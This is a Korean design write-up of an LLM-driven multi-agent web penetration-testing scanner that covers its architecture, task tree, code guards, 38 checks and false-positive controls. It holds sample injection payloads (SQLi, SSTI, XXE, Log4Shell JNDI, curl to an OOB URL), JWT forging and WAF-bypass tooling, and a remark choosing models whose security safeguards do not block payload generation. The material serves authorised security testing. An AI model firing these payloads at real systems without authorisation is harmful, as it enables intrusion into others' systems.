웹 취약점 진단을 자동화하는 멀티 에이전트 아키텍처, 38종 액티브 스캐너 체크, 55개 MCP 도구의 설계 노트.
TL;DR
- 단일 LLM이 아니라 **Planner(전략) · Worker(실행) · Parser(판정)**로 역할을 쪼갠 멀티 에이전트 구조.
- LLM 프롬프트에 의존하지 않고 코드 레벨 가드 7종으로 무한 루프·중복 보고·조기 종료를 강제 차단.
- PTT(Pentesting Task Tree) 로 모든 엔드포인트 × 취약점 조합의 상태를 추적해 커버리지/종료 조건을 명확화.
- Reflection vs Execution 구분, OOB(Interactsh) 콜백, 3계층 FP 방어로 자동 스캐너 특유의 오탐을 줄임.
- AWS Bedrock 기반 11종 모델 지원, tool_use 미지원 모델도 text-mode fallback으로 수용.
1. 왜 만들었나
웹 애플리케이션 보안 진단은 숙련된 전문가가 Burp Suite 같은 도구를 들고 수행한다. 문제는 세 가지였다.
- 전문가 의존성 — 진단 품질이 사람에 따라 들쭉날쭉하다.
- 반복 작업의 비효율 — 매번 비슷한 패턴의 취약점을 수동으로 확인한다.
- 커버리지 한계 — 시간 제약 때문에 모든 엔드포인트를 테스트하기 어렵다.
LLM이 코드를 이해하고, HTTP를 주고받고, 결과를 판정할 수 있다면 — 이 과정을 자동화할 수 있지 않을까? 거기서 출발했다.
단순한 “GPT에게 물어보기"가 아니다. 실제 HTTP 요청을 보내고, 응답을 분석하고, 전략을 수정하고, 구조화된 보고서를 생성하는 자율 에이전트 시스템이다.
2. 시스템 아키텍처 개요
┌─────────────────────────────────────────────────────────┐
│ Web Platform (UI) │
│ Dashboard / Targets / Sessions / Findings / Reports │
└─────────────────────┬───────────────────────────────────┘
│ REST API
┌─────────────────────▼───────────────────────────────────┐
│ FastAPI Backend │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Target │ │ Finding │ │ User / │ │
│ │ Manager │ │ Workflow │ │ RBAC │ │
│ └──────────┘ └──────────┘ └──────────┘ │
└─────────────────────┬───────────────────────────────────┘
│
┌─────────────────────▼───────────────────────────────────┐
│ Multi-Agent Engine │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Planner │───▶│ Worker │───▶│ Parser │ │
│ │ (전략가) │ │ (실행자) │ │ (판정자) │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌──────────┐ ┌──────────┐ │
│ │ PTT │ │ 55 MCP │ │
│ │ Task Tree│ │ Tools │ │
│ └──────────┘ └──────────┘ │
│ │
│ ┌──────────────────────────────────────────┐ │
│ │ 38종 Active Scanner Checks │ │
│ └──────────────────────────────────────────┘ │
└─────────────────────┬───────────────────────────────────┘
│
┌───────────┼───────────┐
▼ ▼ ▼
PostgreSQL Interactsh AWS Bedrock
(DB) (OOB Server) (LLM API)
3. 핵심 설계: Planner / Worker / Parser
처음에는 단일 LLM이 모든 것을 하는 구조로 시작했다. 문제가 바로 터졌다.
- Conversation history가 길어지면 LLM이 이전 맥락을 잊는다.
- 전략 수립과 페이로드 생성을 동시에 시키면 둘 다 품질이 떨어진다.
- 결과 판정에서 False Positive가 대량 발생한다.
해결책은 역할 분리였다.
3.1 Planner — “무엇을 테스트할까”
Planner는 Conversation History 없이 동작한다. 매 턴마다 External State Store의 스냅샷만 받는다.
{
"phase": "unauth_test",
"endpoints": ["http://target/login", "http://target/api/users"],
"ptt_actionable": [
{"endpoint": "/login", "vuln_type": "sqli", "status": "todo"},
{"endpoint": "/api/users", "vuln_type": "idor", "status": "candidate"}
],
"needs_report": [
{"endpoint": "/login", "vuln_type": "sqli", "evidence": "SQL error in response"}
],
"already_reported": ["sqli@/login"],
"already_tested": ["xss@/login"],
"confirmed_vulns": ["cmdi@/tools/ping"]
}
이 구조의 장점:
- 무한 루프 방지 — 이미 테스트한 항목이 명시돼 있어 반복 불가.
- 중복 보고 방지 —
already_reported목록을 코드 레벨에서 가드. - Phase 전환 —
recon → unauth_test → auth_test → deep_test → wrap_up자동 진행.
Planner의 출력은 단일 JSON 액션이다.
{
"last_step_analysis": "이전 단계에서 /login에 SQLi가 확인됨. 보고 후 다음 엔드포인트로 이동",
"action": "report_finding",
"params": {
"title": "SQL Injection in Login",
"finding_type": "sqli",
"severity": "critical"
}
}
3.2 Worker — “어떻게 테스트할까”
Worker는 실제 HTTP 요청을 보내는 에이전트다. Planner가 “이 엔드포인트의 SQLi를 테스트하라"고 지시하면, Worker가 페이로드를 생성하고, 요청을 보내고, 응답을 분석한다.
Worker Loop (최대 N회 시도):
1. 페이로드 생성 → repeater_send 도구 호출
2. 응답 수신 → Parser가 판정
3. 취약점 미확인 → 다른 접근법으로 재시도
4. 취약점 확인 or 시도 소진 → 결과 반환
핵심 설계 결정: Worker는 tool_use API를 사용한다. LLM이 직접 도구를 호출한다.
Worker: "repeater_send로 SQLi 페이로드를 보내겠다"
→ tool_use: repeater_send({url: "http://target/login", method: "POST",
body: "user=' OR 1=1--"})
→ 결과: {status: 200, body: "sqlite3.OperationalError: near ..."}
→ Worker: "SQL 에러 확인. UNION 기반 데이터 추출 시도"
→ tool_use: repeater_send({...})
tool_use 미지원 모델 대응 (Text Fallback)
DeepSeek R1 같은 모델은 Bedrock Converse API의 tool_use를 지원하지 않는다. 그래서 text-mode fallback을 구현했다.
- 시스템 프롬프트에 도구 설명을 텍스트로 포함.
- 모델이 JSON 텍스트로 도구 호출을 출력:
{"tool": "repeater_send", "input": {...}} - 응답에서 JSON 파싱 → 도구 실행 → 결과를 다음 메시지로 피드백.
<think>태그(reasoning 모델 출력) 자동 제거.
NO_TOOL_USE_MODELS = {"us.deepseek.r1-v1:0"}
async def work(self, ...):
if not supports_tool_use(self.worker_model):
return await self._work_text_mode(...) # Text fallback
return await self._work_tool_use(...) # Native tool_use
3.3 Parser — “결과가 맞나”
Parser는 Worker의 결과를 판정한다. 2단계로 동작한다.
1단계: Rule-based (코드)
_VULN_KEYWORDS = {
"cmdi": ["uid=", "root:", "/bin/bash"],
"sqli": ["syntax error", "mysql_", "operationalerror"],
"ssti": ["${", "{##"],
# ...
}
- 도구별 응답 파싱 (
repeater_send,scanner_active_scan등). - HTML 태그 제거 후 clean text에서 키워드 매칭.
- 자동 확정 로직:
uid=\d+\(→ cmdi 확정,operationalerror→ sqli 확정.
2단계: LLM Parser (애매한 경우만)
Rule-based에서 _needs_llm=True가 반환되면 Parser LLM이 판단한다. 비용 절감을 위해 대부분은 1단계에서 결정된다.
4. PTT (Pentesting Task Tree)
모든 테스트 상태를 추적하는 자료구조다.
PTT Structure:
endpoint → vuln_type → TaskNode
Example:
/login
├── sqli: {status: "verified", attempts: 3, last_result: "SQL error confirmed"}
├── xss: {status: "not_vuln", attempts: 2}
└── cmdi: {status: "todo", attempts: 0}
/api/users
├── idor: {status: "candidate", attempts: 0}
└── sqli: {status: "todo", attempts: 0}
TaskNode 상태 전이:
todo → (Worker 테스트) → verified / not_vuln
candidate → todo (Planner 승격)
verified → reported (보고 완료)
PTT가 해결하는 문제:
- 커버리지 추적 — 어떤 엔드포인트의 어떤 취약점이 미테스트인지.
- 중복 방지 — 같은 테스트를 반복하지 않음.
- 종료 판단 — 모든 노드가 verified/not_vuln/reported면 진단 완료.
5. 코드 레벨 가드 — 프롬프트가 아닌 코드로
LLM 기반 시스템에서 가장 큰 위험은 프롬프트 의존성이다. “중복 보고하지 마시오"라고 프롬프트에 써도 LLM은 무시할 수 있다. 모든 핵심 제약은 코드로 강제한다.
| 문제 | 코드 가드 |
|---|---|
| 같은 취약점 중복 보고 | report_finding 호출 시 PTT에서 reported 여부 확인 → 거부 |
| 이미 테스트한 항목 재테스트 | PTT status가 verified/not_vuln이면 Worker 호출 스킵 |
| 무한 루프 (같은 액션 반복) | planner_dispatches 카운터 → 3회 초과 시 강제 not_vuln |
| 연속 스킵 루프 | consecutive_skips → 5회 연속이면 남은 PTT 전부 not_vuln |
| 연속 중복 차단 | consecutive_dup_blocks → 5회 연속이면 남은 노드 전부 reported |
| agent_done 조기 호출 | PTT에 todo가 남아 있으면 거부 |
| 비용 초과 | max_cost_usd 체크 → 초과 시 강제 종료 + 보고서 생성 |
6. 스캔 깊이 프로파일
세 가지 깊이로 진단 범위를 조절한다.
| Quick | Normal | Thorough | |
|---|---|---|---|
| Spider 크롤링 | 2레벨 / 50페이지 | 3레벨 / 100페이지 | 5레벨 / 200페이지 |
| Worker 시도 횟수 | 2회 | 5회 | 8회 |
| Scanner 체크 | 11종 (고위험) | 38종 전체 | 38종 전체 + 추가 분석 |
| Planner 전략 | 고위험 집중, 빠른 진행 | 체계적 전수 검사 | 모든 파라미터·엔드포인트, OOB/blind, WAF 우회 |
Quick 모드가 돌리는 11종:
sqli, xss, cmdi, ssti, path_traversal, ssrf,
info_disclosure, auth_bypass, backup_disclosure,
security_headers, default_creds
7. 38종 Active Scanner 체크
기본 (17종)
| 체크 | 탐지 기법 |
|---|---|
| SQL Injection | Error-based + Boolean blind + Time-based |
| XSS | Reflection 탐지 (인코딩 구분) |
| OS Command Injection | Canary 실행 확인 (반영 vs 실행 구분) |
| SSTI | 수식 평가 확인 (49 vs {{7*7}}) |
| XXE | External Entity 파싱 + OOB |
| Deserialization | Pickle / YAML / PHP 직렬화 |
| Path Traversal | 다중 인코딩 변형 |
| Open Redirect | 외부 도메인 리다이렉트 |
| SSRF | 내부 IP / 메타데이터 접근 |
| CORS Misconfiguration | 임의 Origin 허용 + credentials |
| Host Header Injection | 비밀번호 재설정 링크 조작 |
| Web Cache Poisoning | Unkeyed 헤더 캐시 반영 |
| WebSocket Hijacking | Origin 검증 + CSWSH |
| CSRF | 토큰 검증 누락 |
| Header Injection | HTTP 응답 헤더 주입 |
| Info Disclosure | 디버그 엔드포인트 / 스택 트레이스 |
| Auth Bypass | 인증 없이 보호된 리소스 접근 |
확장 (9종)
| 체크 | 탐지 기법 |
|---|---|
| NoSQL Injection | MongoDB $gt/$ne/$regex 연산자 |
| LDAP Injection | 필터 주입 ()(cn=*)) |
| SSI Injection | <!--#exec--> 디렉티브 |
| Log4Shell | JNDI 페이로드 + OOB (난독화 3종) |
| Prototype Pollution | __proto__/constructor.prototype + 영속성 |
| Mass Assignment | 권한 필드 12종 주입 |
| File Upload | PHP/JSP/HTML/SVG + 이중 확장자·null byte |
| Clickjacking | X-Frame-Options + CSP frame-ancestors |
| Email Header Injection | CRLF Bcc 주입 |
인프라 / 구성 (12종)
| 체크 | 탐지 기법 |
|---|---|
| Security Headers | HSTS/CSP/CORP/COOP 등 8종 + 약한 값 |
| Cookie Security | Secure / HttpOnly / SameSite 플래그 |
| HTTP Methods | TRACE(XST) / PUT / DELETE / WebDAV |
| CRLF Injection | 응답 헤더 주입 4종 변형 |
| Backup Disclosure | .git / .env / .bak 등 38경로 |
| Directory Listing | Apache / Nginx / IIS 인덱싱 |
| Default Credentials | 18종 기본 계정 + 폼 자동 발견 |
| Cloud Metadata SSRF | AWS / Azure / GCP / DO / Oracle / Alibaba 7종 |
| HTTP Parameter Pollution | 중복 파라미터 동작 탐지 |
| Account Enumeration | 응답 차이 / 타이밍 분석 |
| Session Fixation | 로그인 전후 세션 ID 변경 |
| Blind XSS | OOB JS 페이로드 + 지연 콜백 |
Reflection vs Execution 구분
FP 방지의 핵심이다.
cmdi: echo bla7cmdi42 전송
→ 응답에 "bla7cmdi42" + "echo" 둘 다 있음 → 반영(XSS), NOT cmdi
→ 응답에 "uid=1000(user)" 있음 → 실행(cmdi) ✓
ssti: {{7*7}} 전송
→ 응답에 "49" + "{{7*7}}" 둘 다 있음 → 반영, NOT ssti
→ 응답에 "49"만 있고 "{{7*7}}" 없음 → 실행(ssti) ✓
8. 55개 MCP 도구
에이전트가 사용하는 도구 체계다.
핵심 도구
| 카테고리 | 도구 | 설명 |
|---|---|---|
| HTTP | repeater_send |
요청 전송 (raw + url 모드) |
| HTTP | http_raw_request |
Raw 소켓 레벨 요청 |
| HTTP | http_send_concurrent |
Race condition 테스트 |
| 크롤링 | spider_crawl / spider_get_sitemap |
웹 크롤링 + 사이트맵 |
| 스캐너 | scanner_passive_scan / scanner_active_scan |
자동 스캔 |
| 인증 | auth_login / extract_tokens |
로그인 + 토큰 추출 |
| 분석 | diff_requests / response_search |
응답 비교·검색 |
| 퍼징 | fuzz_wordlist / intruder_attack |
경로·파라미터 퍼징 |
보안 분석 도구
| 도구 | 설명 |
|---|---|
jwt_analyze / jwt_forge / jwt_crack |
JWT 분석, 변조, 시크릿 크래킹 |
graphql_introspect / graphql_query / graphql_test |
GraphQL 스키마 추출 + 보안 테스트 |
oauth_analyze |
OAuth 리다이렉트 우회 + state 파라미터 |
oob_generate / oob_check |
OOB 콜백 (Interactsh) |
websocket_connect |
WebSocket + CSWSH 테스트 |
subdomain_check / subdomain_check_bulk |
서브도메인 탈취 |
정보 수집 도구
| 도구 | 설명 |
|---|---|
js_analysis |
JS에서 API 엔드포인트·시크릿·DOM XSS 싱크 추출 |
wappalyzer |
기술 스택 탐지 (50+ 시그니처) |
param_miner |
숨겨진 파라미터·헤더 60+종 브루트포스 |
dns_lookup / cert_check |
DNS 조회 + TLS 인증서 분석 |
cookie_analyzer |
쿠키 보안 속성 종합 분석 |
security_headers |
보안 헤더 등급 (A–F) |
backup_finder |
60+ 민감 파일 경로 스캔 |
api_schema_import |
OpenAPI / Swagger 자동 발견 + 파싱 |
보고 / 기록
| 도구 | 설명 |
|---|---|
report_finding |
구조화된 취약점 보고 (DB 저장) |
take_note |
메모 기록 (보고서 부록) |
check_waf |
WAF 탐지 + 차단 페이로드 식별 |
encoding_helper |
12종 인코딩 체인 (WAF 우회) |
9. False Positive 최소화 전략
FP는 자동화 보안 도구의 가장 큰 약점이다. 세 겹으로 방어한다.
계층 1 — Scanner 레벨
- Reflection vs Execution 구분 (canary가 반영만 되면 XSS, 실행되면 해당 취약점).
- Content-Type 프로빙 (XXE / Deserialization은 해당 타입을 수용하는 엔드포인트만).
- Fingerprint 매칭 (
backup_disclosure는 파일 내용 패턴 확인).
계층 2 — Parser 레벨 (Rule-based)
_VULN_KEYWORDS엄격 매칭 — 실제 에러 시그니처만(generic 문자열 제외)._confirmed자동 탐지 —uid=\d+\(패턴이면 cmdi 확정.- HTML 태그 제거 후 clean text 분석 — 페이지 설명 텍스트에서의 오탐 방지.
계층 3 — Planner 레벨 (FP 필터링)
report_finding 호출 전 5가지 필수 확인:
- 파라미터 실존 — Spider/form에서 발견된 파라미터인가?
- Injection 실행 확인 — 반영이 아닌 실행인가?
- 엔드포인트 실존 — 404가 아닌가?
- 중복 보고 방지 — 이미 보고된 항목이 아닌가?
- 증거 강도 — “가능성"이 아닌 “확인"인가?
10. 보고서 생성
보고서는 코드 스켈레톤 + LLM 내러티브 하이브리드 방식이다.
코드가 생성하는 부분 (모델 무관, 항상 동일)
- 메타 정보 테이블 (대상, 세션 ID, 일시).
- 모델별 / 역할별 토큰 사용량 + 비용.
- 취약점 현황 (심각도별 건수).
- 카테고리별 그룹핑 + 메타데이터 테이블 (CVSS, CWE, OWASP).
- 발생 위치 테이블 + 상세 증거.
- 공격 체이닝 시나리오 (코드 레벨 폴백).
LLM이 생성하는 부분 (모델 품질에 따라 다름)
- 종합 평가 (Executive Summary).
- 취약점별 영향도 분석.
- 공격 체이닝 시나리오 (LLM 분석).
- 우선순위별 권고 사항.
공격 체이닝 자동 생성
LLM 분석이 실패해도 코드 레벨 폴백으로 항상 체이닝 시나리오가 생성된다.
_chain_templates = [
{
"requires": [("sql injection",),
("information disclosure", "backup", "sensitive file")],
"title": "SQL Injection → 데이터 탈취 → 관리자 권한 획득",
"steps": [
"SQL Injection으로 사용자 테이블 덤프",
"관리자 비밀번호 해시 추출",
"해시 크래킹 → 관리자 로그인",
"시스템 전체 데이터 접근",
],
},
# ... 8종 체이닝 템플릿
]
발견된 취약점 조합에 매칭되는 템플릿이 자동 선택된다.
11. 멀티 모델 지원
AWS Bedrock을 통해 11종 모델을 지원한다. 역할별로 다른 모델을 배치할 수 있다.
| 역할 | 권장 모델 | 이유 |
|---|---|---|
| Planner | Claude Opus 4.6 | 전략적 판단, 보안 컨텍스트 차단 없음 |
| Worker | Claude Sonnet 4.6 / DeepSeek V3.2 | 빠른 도구 호출, 비용 효율 |
| Parser | Claude Sonnet 4.6 | 간단한 판정, 저비용 |
.env로 모델 번호를 설정한다.
BLASUITE_PLANNER_MODEL=1 # Claude Opus 4.6
BLASUITE_WORKER_MODEL=3 # Claude Sonnet 4.6
BLASUITE_PARSER_MODEL=3 # Claude Sonnet 4.6
모델 호환성 현실
보안 테스트 컨텍스트에서 모든 모델이 작동하진 않는다.
- Claude Opus 4.6 — 유일하게 Planner로 안정 작동.
- GPT 계열 —
cyber_policy차단으로 공격 페이로드 생성 불가. - DeepSeek R1 — tool_use 미지원이지만 text fallback으로 Worker 사용 가능.
- DeepSeek V3.2 — 일반 chat 모델, tool_use 지원, Worker에 적합.
12. 웹 플랫폼과 Finding 워크플로우
단일 HTML SPA로 구현된 웹 플랫폼.
Dashboard → Targets → Sessions → Findings → Reports
Finding 생명주기
found → reported → fixing → fixed → verified / inadequate
↓
(이행점검 재실행)
- RBAC: admin / auditor / developer / viewer.
- 이행점검(Verification): 이전 세션의
confirmed_payload로 재테스트. - 카테고리별 이행점검: 특정 취약점 유형만 선택 검증.
13. OOB (Out-of-Band) 탐지
Blind 취약점은 응답에 증거가 없다. OOB 서버(Interactsh)로 콜백을 받아 탐지한다.
1. oob_generate → interaction_id + DNS/HTTP URL 생성
2. Worker가 페이로드에 OOB URL 삽입:
- SSRF: fetch('http://{oob_url}')
- CMDi: curl http://{oob_url}
- XXE: <!ENTITY xxe SYSTEM "http://{oob_url}">
- Log4Shell: ${jndi:ldap://{oob_dns}/a}
3. 대기 후 oob_check → callback_received=true면 확인
Docker Compose로 Interactsh를 함께 배포한다.
14. Docker 배포
services:
app:
build: .
ports: ["8000:8000"]
environment:
DATABASE_URL: postgresql+psycopg2://user:pass@db/blasuite
BLASUITE_PLANNER_MODEL: "1"
BLASUITE_WORKER_MODEL: "3"
volumes:
- ${HOME}/.aws:/root/.aws # AWS 자격증명
db:
image: postgres:16
oob:
image: projectdiscovery/interactsh-server
command: ["-skip-acme", "-d", "oob.example.com"]
ports: ["10053:53/udp", "10080:80"]
15. 설계 과정에서 배운 것
프롬프트에 의존하지 마라
“중복 보고하지 마시오"를 프롬프트에 아무리 써도 LLM은 무시한다. 모든 핵심 제약은 코드 가드로 강제해야 한다. 프롬프트는 가이드라인, 코드는 법률.
Conversation History를 없애라
처음에는 Planner에게 전체 대화 이력을 넘겼다. 50턴이 넘어가면 초반 맥락을 잊고 같은 작업을 반복했다. External State Store로 전환한 후 — 매 턴 JSON 스냅샷만 제공 — 무한 루프가 사라졌다.
과최적화를 경계하라
테스트 앱 하나에 맞춰 최적화하면 실전에서 무용지물이다. 특정 URL 패턴·파라미터명에 대한 하드코딩은 절대 금지. 모든 로직은 제네릭해야 한다.
Reflection ≠ Execution
자동 스캐너 FP 대부분은 이 구분 실패에서 온다. echo bla7cmdi42를 보냈는데 응답에 bla7cmdi42가 있으면 — 그건 XSS(반영)이지 CMDi(실행)가 아니다. uid=1000(user)가 있어야 실행이다.
비용 관리는 필수다
LLM 기반 시스템은 비용이 예측 불가능하다. Per-model / per-role 토큰 트래킹 + session-level 비용 한도가 없으면, thorough 모드 한 번에 수십 달러가 나갈 수 있다.
16. 현재 상태와 로드맵
구현 완료
- 38종 Active Scanner 체크
- 55개 MCP 도구
- 11종 LLM 모델 지원 (text fallback 포함)
- Planner / Worker / Parser 멀티 에이전트
- PTT 기반 상태 추적
- 코드 레벨 가드 7종
- 웹 플랫폼 (RBAC, Finding 워크플로우, 이행점검)
- Docker Compose 배포
- OOB 탐지 (Interactsh)
- 한국어 보고서 + 공격 체이닝
남은 과제
- Stored XSS 탐지 — 크롤 + 저장 + 재방문 인프라.
- HTTP Request Smuggling — raw socket CL.TE / TE.CL.
- Playwright 기반 DOM 테스트 — 실제 브라우저 렌더링.
- PDF 보고서 — 실무 납품용.
- Jira / Slack 연동 — Finding → 이슈 자동 생성.
- CI/CD 통합 — GitHub Actions / GitLab CI 파이프라인.
- 멀티모델 벤치마크 — 동일 타겟 대상 모델별 성능 비교.
이 시스템은 인가된 모의해킹 환경에서만 사용해야 한다. 무단으로 타인의 시스템을 진단하는 행위는 법적 문제를 야기한다.